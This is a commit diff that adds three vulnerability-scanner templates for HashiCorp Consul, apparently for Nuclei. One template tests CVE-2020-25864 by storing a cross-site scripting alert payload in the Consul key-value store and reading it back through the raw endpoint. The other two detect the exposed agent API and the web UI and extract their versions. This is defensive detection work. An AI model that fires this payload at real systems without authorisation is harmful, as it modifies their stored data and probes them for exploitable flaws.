Added Consul Templates (#3720)

* added request condition to avoid false positive detection * misc updates
2022-02-17 23:55:37 +05:30 · 2022-02-17 23:55:37 +05:30 · 07e31135ae
parent 59bd9303be
commit 07e31135ae
3 changed files with 102 additions and 0 deletions
--- a/cves/2020/CVE-2020-25864.yaml
+++ b/cves/2020/CVE-2020-25864.yaml
@ -0,0 +1,39 @@
+id: CVE-2020-25864
+
+info:
+  name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting
+  severity: medium
+  author: c-sh0
+  reference:
+    - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-25864
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2020-25864
+    cwe-id: CWE-79
+  tags: cve,cve2020,consul,xss
+
+requests:
+  - raw:
+      - |
+        PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+
+        <!DOCTYPE html><script>alert(document.domain)</script>
+
+      - |
+        GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body_2
+        words:
+          - "<!DOCTYPE html><script>alert(document.domain)</script>"
--- a/exposed-panels/hashicorp-consul-agent.yaml
+++ b/exposed-panels/hashicorp-consul-agent.yaml
@ -0,0 +1,26 @@
+id: hashicorp-consul-agent
+
+info:
+  name: Hashicorp Consul Agent Detection
+  author: c-sh0
+  severity: info
+  description: Obtain Consul Version Information
+  tags: tech,consul,api
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/v1/agent/self"
+
+    matchers:
+      - type: word
+        words:
+          - '"Datacenter":'
+          - '"Revision":'
+          - '"PrimaryDatacenter"'
+        condition: and
+
+    extractors:
+      - type: json
+        json:
+          - " .Config.Version"
--- a/exposed-panels/hashicorp-consul-webgui.yaml
+++ b/exposed-panels/hashicorp-consul-webgui.yaml
@ -0,0 +1,37 @@
+id: hashicorp-consul-webgui
+
+info:
+  name: HashiCorp Consul WebGUI Detection
+  author: c-sh0
+  description: Detection of HashiCorp Consul WebGUI
+  severity: info
+  metadata:
+    shodan-query: http.title:"Consul by HashiCorp"
+  tags: consul,webserver,panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ui/"
+
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - '<title>Consul by HashiCorp</title>'
+          - '%22%2C%22CONSUL_COPYRIGHT_URL%22%3A%22https%3A%2F%2Fwww.hashicorp.com%22'
+        condition: or
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - "CONSUL_VERSION:.*([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})"